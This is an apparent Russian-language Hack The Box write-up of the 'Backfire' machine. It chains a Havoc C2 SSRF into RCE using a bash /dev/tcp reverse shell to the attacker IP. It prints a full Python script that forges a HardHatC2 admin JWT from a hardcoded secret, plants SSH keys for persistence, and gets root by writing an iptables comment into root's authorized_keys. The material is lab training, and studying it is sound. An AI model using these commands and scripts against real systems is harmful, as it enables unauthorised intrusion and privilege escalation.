
HTB machine link:
https://app.hackthebox.com/machines/Backfire
Перед началом райтапа, хочу поздравить коллег из команды FR13NDS_TEAM, в частности хакера fisstech, который взял user first blood, обогнав TOP 1 команду hackthebox. Респект)

Recon#
Начинаем как обычно с проверки подключения и сканирования открытых портов

Сразу бросается в глаза 8000 порт. Попробуем зайти на него

Тут у нас лежат два файла. disable_tls.patch и havoc.yaotl

Похоже кто-то развернул C2 HavocFramework. На скриншоте выше - пример, почему нужно не забывать выключать свои python http сервера после использования. Находим два файла - какой-то патч и конфиг Havoc - havoc.yaotl, который требуется для запуска team-сервера.
В патче инструкция по отключению tls в havoc.

А вот файл конфигурации содержит следующие параметры:
- Teamserver - указывает прослушиваемый сервером адрес и порт
- Operators - перечисление зарегистрированных пользователей
- Demon – показывает настройки требующиеся для генерируемого агента.
И полезную информацию, которая применима к уязвимому хосту, включая креды и порты, на котором работает демон, а также домен тачки

Operators {
user "ilya" {
Password = "*****************"
}
user "sergej" {
Password = "*****************"
}
}
Домен кстати ожидаемо backfire.htb

Не забываем добавить запись в /etc/hosts

echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hosts
User flag#
После небольшого осинта по авторам тачки обнаружился интересный фан-факт - chebuya, также является еще и автором SSRF-эксплоита уязвимости в Havoc. Совпадение? Не думаю.


Пробуем запустить SSRF PoC с кредами, найденными прежде в конфигах.

python3 exploit.py -t https://backfire.htb/ -u ilya -i 10.10.xx.xx -p 8443
Вроде работает, но одного SSRF мало, надо что-то еще придумать.

Тут мы подходим к еще одному фан-факту - hyperreality, второй автор тачки, по совместительству также и автор RCE эксплоита под Havoc.

Придётся крутить SSRF-to-RCE. Тут в теории нужно самому писать код, объединяющий в себе оба эксплоита, но сообщество уже всё сделало за нас, так что просто следим за руками:
Готовим реверс-шелл.
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1
Запускаем python http-сервер.
python3 -m http.server 8001
Запускаем прослушиватель.
nc -nlvp 4444
И, наконец, запускаем эксплоит.
https://pentestnotes.ru/images/hackthebox/season7/Backfire/SSRF_TO_RCE.py
(не забудьте поменять IP в коде на свой)

python3 rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
Скрипт использует уязвимость в Havoc, связанную с инъекцией команд под аутентифицированным юзером: устанавливает безопасное websocket-соединение, аутентифицирует юзера на сервере, создает слушатель с определенными параметрами и прогоняет цикл командной строки, внутри которого мы можем вводить команды.
Если внести небольшие изменения в эксплойт, то cmd будет запускать наш reverse shell.

Как видим ниже, эксплойт успешно отработал.

Сессия поймана.

Шелл будет выбивать раз в какое-то время, поэтому для удобства я вручную добавил свой публичный ключ ssh в файл authorized_keys на тачке. Так можно подключаться без пароля.
Чтобы такое провернуть, сначала узнайте свой публичный ключ.
cat ~/.ssh/authorized_keys
(Где ~/.ssh/authorized_keys — путь до файла authorized_keys по умолчанию. У вас может быть по-другому.)
Скопируйте полученный публичный ключ и вставьте его в authorized_keys на захваченной машине с новой строки.
echo "YOU PUB KEY" | tee -a ~/.ssh/authorized_keys
Теперь можно подключаться к тачке по ssh.

Root flag#
Отталкиваемся от файла hardhat.txt, найденного у пользователя ilya.

Наших маленьких редтимеров ничего не смущает, поэтому они оставляют информацию о том, что благодаря Sergej у них где-то торчит ещё один C2 под названием HardHatC2. На него кстати тоже есть RCE.
При просмотре живых портов, в глаза сразу бросаются 5000 и 7096

Пробрасываем эти порты
ssh -L 5000:127.0.0.1:5000 ilya@backfire.htb
ssh -L 7096:127.0.0.1:7096 ilya@backfire.htb
И смотрим что там на вебе

Следуем Vulnerability 2 и Vulnerability 3 пунктам следующей статьи: https://blog.sth.sh/hardhatc2-0-days-rce…88a6815c08
# @Author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "strongpassword",
"role": "TeamLead",
"username": "strongusername"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
Это позволит нам создать нового пользователя HardHatC2 с произвольным паролем:

Логинимся

Теперь заходим во вкладку Implant Interact

И находим командную строку, которая исполняет команды от имени пользователя sergej. Можно поймать шелл, но я просто снова закину на сервер свой публичный ключ ssh по аналогии с ilya:


Теперь можем свободно подключаться под пользователем sergej к серверу.

Рассмотрим функции, которые мы можем использовать с правами sudo. Среди таковых обнаруживаем iptables.

Для повышения привилегий можем воспользоваться следующей инструкцией: https://www.shielder.com/blog/2024/09/a-…scalation/
В принципе описанное ниже не требует особых пояснений, мы просто в комментарий к правилу iptables добавляем свой ssh pub key и отправляем правило с “вредоносным” комментарием в authorized_keys.

#add rule
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nYOUR SSH PUB KEY\n'
#verify with:
sudo iptables -S
#save into authorized_keys
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
Заходим из под рута и лутаем флаг
ssh -i key root@backfire.htb
